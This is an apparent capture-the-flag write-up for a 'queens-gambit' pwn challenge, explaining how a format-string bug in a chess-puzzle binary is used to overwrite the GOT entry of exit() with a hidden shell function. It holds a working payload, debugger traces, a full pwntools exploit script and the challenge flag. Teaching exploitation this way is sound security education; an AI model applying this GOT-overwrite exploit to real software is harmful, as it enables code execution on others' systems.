Tags: got format-string pwn got-overwrite 

Rating: 5.0

# TL;DR
There's a format string vulnerability in the binary. You can exploit this to overwrite any GOT address. I chose to overwrite the `exit()` function. The format string vulnerability happens whenever the binary prints your name.

# Details
The "Enter your name" portion is vulnerable to a format string vulnerability as you can see below:

![c1](https://i.imgur.com/y3iqiDT.png)

![c2](https://i.imgur.com/zbxss6F.png)

#### Explanation

You can decompile the binary with Ghidra and when you do, you can see this as part of the decompiled code (under `FUN_004017c6` lines 58, 77, and 96):

```
...
printf((char *)local_a8);
...
```

If you put in `%p`, the command will run `printf('%p')` which is the format character for a pointer address. Without any other arguments, `printf()` will simply print from the stack. You can read more about this vulnerability here: https://owasp.org/www-community/attacks/Format_string_attack. Another great resource is LiveOverflow: https://www.youtube.com/watch?v=0WvrSfcdq1I

-----

You can find that the offset for the format string is `8` by simply brute forcing it:

```
================================================================

Chess puzzles to train you brain.
Become a Grand Master.

================================================================


1) Play
2) Chess Server Admin
3) Quit

>> 1
Enter your name:
>> AAAABBBB|%8$p


============== Puzzle One =================

h g f e d c b a
____ ____ ____ ____ ____ ____ ____ ____
| | WK | | | | | | | 1
|____|____|____|____|____|____|____|____|
| WP | | | | | | | BR | 2
|____|____|____|____|____|____|____|____|
| | | BK | | | | | | 3
|____|____|____|____|____|____|____|____|
| | | | | | | | | 4
|____|____|____|____|____|____|____|____|
| | BP | | | | | | | 5
|____|____|____|____|____|____|____|____|
| | | | | | | | | 6
|____|____|____|____|____|____|____|____|
| | | | | | | | | 7
|____|____|____|____|____|____|____|____|
| | | | | | | | | 8
|____|____|____|____|____|____|____|____|

Black to move. Choose and enter the best move :

- Rh2
- Ra1
- h1

>> Ra1

Congratulations AAAABBBB|0x4242424241414141! Your answer was correct!

Your winning move was:
Ra1
```

Note the congratulations message.

#### Explanation

For the format string vulnerability, you can access different parts of the stack but for this instance, you actually want to _write_ to the stack. To do so, you'll need to know where your input is on the stack. In this case, you can type in `%{n}$p` and `printf()` will try to retrieve the `n`th value of the stack. We can iterate through this like `%1$p`, `%2$p`, etc... until we see our input.

`AAAABBBB` is `0x4242424241414141` in hex so `8` is our offset.

-----

The other thing to note is that when you select your move, you're basically selecting from 1 of 3 multiple choices:

```
Black to move. Choose and enter the best move :

- Rh2
- Ra1
- h1
```

The code that takes care of this looks like this:

```
...
fgets((&some_location, 0x80, stdin);
__isoc99_sscanf(&some_location, &%s, input);
iVar1 = strcmp(input, "Ra1");
if (iVar1 != 0) {
puts("\nIncorrect!!");
exit(0);
}
...
```

However- and here's the **bug**- you can append spaces and other characters to the end of your move selection and `scanf()` will only take in your selection and not the other things after the spaces!

```
0x4013e4 lea rsi, [rip + 0xe5d]
0x4013eb lea rdi, [rip + 0x2d8e]
0x4013f2 mov eax, 0
► 0x4013f7 call __isoc99_sscanf@plt <__isoc99_sscanf@plt>
s: 0x404180 ◂— 'Ra1 %4434c%8$hn\n'
format: 0x402248 ◂— 0xa00316152007325 /* '%s' */
vararg: 0x7ffcfa917f28 —▸ 0x7f261ca4f180 ◂— 0x0

0x4013fc lea rax, [rbp - 8]
0x401400 lea rsi, [rip + 0xe44]
0x401407 mov rdi, rax
```

then

```
0x4013f7 call __isoc99_sscanf@plt <__isoc99_sscanf@plt>

0x4013fc lea rax, [rbp - 8]
0x401400 lea rsi, [rip + 0xe44]
0x401407 mov rdi, rax
► 0x40140a call strcmp@plt <strcmp@plt>
s1: 0x7ffcfa917f28 ◂— 0x7f2600316152 /* 'Ra1' */
s2: 0x40224b ◂— 0x636e490a00316152 /* 'Ra1' */

0x40140f test eax, eax
0x401411 je 0x401429 <0x401429>

0x401413 lea rdi, [rip + 0xe35]
0x40141a call puts@plt <puts@plt>
```

Since `strcmp()` will return `0` (the strings are the same), it will continue through the code, not hitting the `exit()` and "incorrect" branch.

-----

Later on in the code, when it's writing out the "Congratulations" string, you'll see that it's simply using `strcat()` to concatenate everything:

```
0x401a43 mov byte ptr [rax + 0x34], 0
0x401a47 lea rax, [rbp - 0xa0]
0x401a4e lea rsi, [rip + 0x272b]
0x401a55 mov rdi, rax
► 0x401a58 call strcat@plt <strcat@plt>
dest: 0x7ffcfa917f70 ◂— '\nCongratulations USERNAME! Your answer was correct!\n\nYour winning move was: \n'
src: 0x404180 ◂— 'Ra1 %8$p\n'

0x401a5d lea rax, [rbp - 0xa0]
0x401a64 mov rdi, rax
0x401a67 mov eax, 0
```

-----

If you go through the decompilation again, you'll see an interesting function `FUN_004011c2)`:

```
{
printf("Welcome, Mr Shaibel...\n\n#");
fflush(stdout);
system("/bin/sh");
return;
}
```

It's an unlisted function that normal use of the application won't go to but it gives you a shell!

-----

Instead of `%p`, we can use `%n`. This format string is for _writing_ to a particular memory address. With all of the above, you have a "write-what-where" exploit

What: we want to write the above function (we'll call this the `get_shell()` function)
Where: into another function call

Since the binary has only partial RELRO (relative read-only protection), we can overwrite parts of the Global Offset Table (GOT). In my case, I choose to overwrite what `exit()` does.

The GOT address of `exit()` is `0x404068` (and this doesn't change because there are no position independent execution (PIE) protections).

The address of the `get_shell()` function is `0x4011c2`

There are some calculations involved but the correct format string vulnerability for my particular exploit is `%4434c%8$hn`. This means that I'm writing out 4434 characters (plus 112 that was already written with the rest of the "Congratulations" message) which gives me a total number of 4546 characters written. This is hex for `0x11c2`. Since the `0x40` is the same across both the `exit()` address and the `get_shell()` address, I don't need to overwrite that. The format string is `%hn` because that writes 2 bytes at a time.

This will change `exit()`'s GOT address to point actually to `get_shell()`!

```
0x401a67 mov eax, 0
► 0x401a6c call printf@plt <printf@plt>
format: 0x7ffe0a67b590 ◂— '\nCongratulations h@@! Your answer was correct!\n\nYour winning move was: \nRa1 %4434c%8$hn\n'
vararg: 0x4041a0 ◂— ' %4434c%8$hn\n'

0x401a71 lea rax, [rbp - 0xa0]
...
pwndbg> x/xg 0x404068
0x404068 <[email protected]>: 0x00000000004010d6
```

and 1 instruction later:

```
pwndbg> x/xg 0x404068
0x404068 <[email protected]>: 0x00000000004011c2
```

----

Now all we have to do is trigger an `exit()` function. i.e., we simply have to fail a chess puzzle (which is really easy for me). This will run the `get_shell()` function:

```
➜ queens-gambit python3 xpl.py
[*] '~/workspace/tenablectf-2021/pwn/queens-gambit/chess'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '...': pid 5883
[*] Switching to interactive mode

>>
Incorrect!!
Welcome, Mr Shaibel...

#$
```

# Code
Here's the exploit code:

```python
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)

io = start()
#io = remote("challenges.ctfd.io", 30458)

"""
Answers:
Ra1 <- chess_3
Qg7 <- chess_2
Kd2 <- chess_1
"""

chess_1 = 0x004015f9
chess_2 = 0x0040142c
chess_3 = 0x0040122c
main = 0x004017c6
good_boy = 0x004011c2
bad_boy = 0x004011f5

offset = 8

io.recvuntil("Quit")
# Select play game
io.sendline("1")
# Enter name 0x404068 -> the GOT address of 'exit'
io.sendlineafter("Enter your name", "\x68\x40\x40A\x00\x00\x00\x00\x00\x00\x00B")

#log.info(hex(exe.sym.got["exit"]))
io.recvuntil("h1")
# Space characters are terminators in scanf('%s') + strcmp() but not for strcat()
# We replace the last 2 bytes (1 word) of the 'exit' GOT address to the good_boy address (0x4010d6 -> 0x4011c2). There are already 112 bytes written
io.sendline(b"Ra1" + b" %4434c%8$hn")
d = io.recvuntil("Your answer was correct!")
io.sendlineafter("- Qg7", "Qg8")
io.interactive()
```

# Flag
`flag{And_y0u_didnt_ev3n_n33d_th3_pills}`

IxZFeb. 23, 2021, 3:40 a.m.

How can I calculate out 112 bytes which are already written?